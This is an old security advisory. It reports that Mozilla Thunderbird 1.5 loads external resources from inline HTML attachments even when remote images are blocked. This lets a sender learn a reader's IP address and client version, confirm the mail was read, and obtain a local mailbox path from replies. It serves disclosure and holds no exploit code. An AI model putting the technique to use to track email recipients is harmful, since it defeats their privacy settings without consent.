Mozilla Thunderbird : Multiple Information Disclosure Vulnerabilities


//----- Advisory


Program          : Mozilla Thunderbird
Homepage         : http://www.mozilla.com/thunderbird/
Tested version   : 1.5
Found by         : crashfr at sysdream dot com
This advisory    : crashfr at sysdream dot com
Discovery date   : 2006/02/18


//----- Application description


Full-Featured Email

Simple to use, powerful, and customizable, Thunderbird is a full-featured
email application. Thunderbird supports IMAP and POP mail protocols, as well
as HTML mail formatting. Easily import your existing email accounts and
messages. Built-in RSS capabilities, powerful quick search, spell check
as you
type, global inbox, deleting attachments and advanced message filtering
round
out Thunderbird's modern feature set.


//----- Description of vulnerability


Thunderbird's HTML rendering engine insufficiently filters the loading
of external resources from inline HTML attachments. External files are
downloaded even if the "Block loading of remote images in mail messages"
option is enabled.

//----- Impact


Successful exploitation may lead to information disclosure (user agent:
application version & platform, IP address...). A spammer can easily
check if an email is read. Moreover, an HTML reply to those types of
emails will contain the complete url path to the mailbox
(ie: mailbox:///C%7C/Documents%20and%20Settings/CrashFr/
Application%20Data/Thunderbird/Profiles/7jko3in9.default/
Mail/Local%20Folders/Inbox?number=2194930&amp;header=quotebody&amp;part=1.2&amp;filename=basic.css").


//----- Solution


No known solution. You have to wait for a vendor upgrade.
